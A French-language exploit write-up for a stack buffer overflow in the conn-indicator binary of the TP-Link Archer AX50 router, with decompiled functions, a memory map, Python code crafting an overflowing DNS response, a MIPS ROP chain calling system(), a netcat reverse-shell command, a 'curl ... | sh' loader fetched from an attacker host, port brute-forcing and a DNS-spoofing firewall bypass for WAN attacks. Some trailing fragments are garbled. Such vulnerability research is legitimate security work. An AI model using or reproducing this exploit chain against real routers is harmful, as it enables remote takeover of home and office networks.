
Exploit pour débordement de tampon basé sur la pile trouvé dans le binaire conn-indicator du routeur TP-Link Archer AX50
Le routeur TP-Link Archer AX50 est vulnérable à un débordement de tampon basé sur la pile dans sa version de firmware 1.0.14 Build 20240108 rel.42655(4555), conduisant à une exécution de code à distance à la fois côté LAN et côté WAN. Cette vulnérabilité a la même cause racine que CVE-2020-10881, découverte par l'équipe Flashback et largement détaillée dans leur série de vidéos à ce sujet (voir références). Cependant, le processus d'exploitation diffère légèrement, donc un nouvel exploit a dû être écrit.

Cette vulnérabilité se produit dans le binaire conn-indicator, chargé de vérifier si le routeur est connecté à Internet en envoyant périodiquement des requêtes DNS et en écoutant leurs réponses sur un port UDP aléatoire entre 32000 et 61000.
La fonction qui reçoit et traite d'abord ces paquets de réponse DNS est TPDns_RecvAndResolve(), située à 0x00405e3c. Lors de la réception d'un paquet avec recvfrom, il est stocké dans buf, qui a une taille de 2960 octets. Ensuite, elle vérifie que le code de retour est correct (RCODE == 0) et vérifie les nombres de questions et de réponses dans le paquet (QDCOUNT et ANCOUNT). Pour traiter les réponses, elle appelle process_resolved_IP() et lui passe un pointeur vers buf, answer_ptr, qui est un pointeur vers l'emplacement des réponses dans le paquet à l'intérieur de buf, le nombre de réponses (ANCOUNT) et d'autres drapeaux :
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
La fonction process_resolved_IP(), située à 0x00405818, parcourt chaque réponse et appelle DNS_answer_parser() pour chacune d'elles. Elle passe en arguments le même pointeur vers buf, answer, qui est un pointeur vers la réponse en cours d'analyse dans le paquet original à buf, et un pointeur vers current_answer, qui est un tampon de taille 256 :
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
La fonction DNS_answer_parser(), située à 0x004054e0, analyse chaque réponse individuellement, qui consiste en un nom de domaine représenté comme <len><domaine><len><domaine>.... Par exemple, example.com serait représenté par 7example3com. La fonction boucle sur chaque paire <len><domaine> qui constitue le nom de domaine dans la réponse et vérifie que <len> est inférieur à 63 (domain_name & 0xc0 != 0). Ensuite, elle appelle memcpy et copie <len> octets de answer, correspondant à <domaine>, dans current_answer. Elle répète le processus pour la paire suivante de dans le nom de domaine.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
Étant donné que current_answer ne fait que 256 octets, il est possible pour un attaquant d'envoyer un paquet avec une réponse contenant un nom de domaine suffisamment long pour déborder le tampon.
Le processus d'exploitation est très similaire à celui expliqué par l'équipe Flashback pour CVE-2020-10881 dans leur série de vidéos à ce sujet (voir références), avec quelques différences clés :
move, car maintenant le registre qui est déplacé vers $a2 comme argument count pour memcpy() est $s1 au lieu de $s0.i dans process_resolved_IP() est chargée dans $s5 au lieu de $s8. Ensuite, lorsqu'elle est comparée à $v1, $v1 est prise depuis $sp+616, qui est très loin du tampon débordé, donc la pile a dû être corrompue plus loin à partir de la réponse et de la commande.Avec cela à l'esprit, je vais expliquer l'ensemble du processus quand même.
Le binaire conn-indicator a NX activé et ASLR sur tout sauf lui-même :
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
Donc la stratégie pour exploiter cette vulnérabilité est de construire une chaîne ROP dans laquelle nous pouvons exécuter system() avec la commande souhaitée.
Afin de pouvoir déborder le tampon et corrompre le registre $ra, un attaquant doit envoyer une réponse DNS avec une réponse contenant un nom de domaine suffisamment long. Concernant l'en-tête DNS, la seule exigence est que RCODE soit 0 et que ANCOUNT soit 1, car le paquet n'a besoin de contenir qu'une seule réponse. Par exemple, le paquet suivant corrompt le registre $ra avec 0x50505050 :
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
Maintenant, comme l'adresse du binaire est toujours la même à chaque exécution et qu'il dispose d'une zone inscriptible, le plan est de copier la commande à exécuter là-bas puis d'appeler system() avec celle-ci. Pour ce faire, la chaîne ROP suivante est utilisée :
memcpy(). L'adresse du gadget suivant est chargée dans $ra. Ensuite, $s2 est déplacé dans $v0. Cela contient l'adresse de la zone inscriptible du binaire dans laquelle la commande sera copiée, qui sera l'argument dest pour memcpy(). Ensuite, l'argument count pour memcpy est chargé dans $s1 depuis une adresse de pile que nous contrôlons. Enfin, il saute au gadget suivant :00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() puis l'appelle. L'argument dest pour memcpy(), correspondant à la zone inscriptible du binaire, qui se trouvait dans $v0, est chargé dans $a0 comme premier paramètre de memcpy(). À ce stade de l'exécution, $a1 pointe vers la fin de la réponse dans le paquet de réponse DNS, qui est l'endroit où nous avons placé notre chaîne de commande, donc il n'est pas nécessaire de préparer le paramètre src. Ensuite, $s1, qui contient le paramètre count chargé dans le gadget précédent, est déplacé dans $a2 comme troisième paramètre de memcpy(). Enfin, memcpy() est appelé et la chaîne de commande est copiée dans la zone inscriptible du binaire. Ce gadget se trouve à la fin de , donc maintenant l'exécution se poursuit à l'intérieur. La pile doit maintenant être arrangée pour que la fonction puisse retourner avec succès. Pour ce faire, certaines variables de cette fonction qui sont chargées depuis la pile et depuis certains registres sont soigneusement placées dans la charge utile, comme , , et . Lors du retour, l'adresse du est à nouveau prise depuis la pile, dans laquelle nous plaçons l'adresse du gadget suivant pour y sauter.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() et l'appelle. À ce stade de l'exécution, $v0 contient la valeur de $s3, dans laquelle nous avons placé l'adresse de la zone inscriptible du binaire, contenant maintenant la commande. Ainsi, $v0 est déplacé dans $a0. Ensuite, l'adresse de system(), qui est importée dans le binaire, est placée depuis la pile dans $ra et system() est appelé, réalisant l'exécution de code.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
Maintenant, le shell inverse à exécuter sur la cible, qui exécute busybox, est le suivant :
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
Cependant, la commande à exécuter doit être plus courte que 62 caractères et, comme le système de fichiers n'est inscriptible que dans /tmp, il était impossible d'exécuter le shell inverse directement. À la place, un chargeur a été exécuté : curl http://<attaquant>:<port>/ | sh, qui récupère le shell inverse depuis l'attaquant.
Maintenant, la seule chose restante est de bruteforcer le port sur lequel conn-indicator écoute, ce qui peut être facilement automatisé.
Jusqu'à présent, cet exploit ne fonctionnerait que côté LAN, car le côté WAN est protégé par un pare-feu. Cependant, il existe un moyen de contourner cette restriction. Pour que conn-indicator reçoive les réponses DNS, le pare-feu autorise les paquets qui proviennent de la même IP que les requêtes DNS envoyées par le binaire, c'est-à-dire les paquets provenant du DNS que le routeur cible utilise. Ainsi, pour contourner le pare-feu, il suffit d'envoyer des paquets usurpés en tant que serveur DNS, qui si la cible est sur un réseau local sera probablement quelque chose comme 192.168.0.1, 192.168.1.1 ou 10.0.0.1, et si la cible est directement connectée à Internet, sera probablement quelque chose comme 8.8.8.8, 1.1.1.1 ou d'autres serveurs DNS courants.
L'exploit entièrement fonctionnel fonctionne à la fois pour LAN et WAN. Le mode LAN bruteforce chaque port de 32000 à 61000 et le mode WAN bruteforce les mêmes ports et toutes les IP DNS possibles, qui sont stockées dans la SPOOF_LIST. Cette liste doit être éditée en fonction de la connaissance de l'attaquant sur la cible, cependant, avec suffisamment de temps (minutes) elle devrait couvrir 90% des cas.
<len><domaine>/tmp, donc toutes les écritures et lectures doivent être effectuées là. Cela rend impossible que le shell inverse fasse moins de 62 caractères, donc pour le déployer sur la cible, il doit être servi depuis un serveur web et une commande pour le télécharger et l'exécuter doit être envoyée à la cible.process_resolved_IP()ANCOUNTparam_4param_5i$ra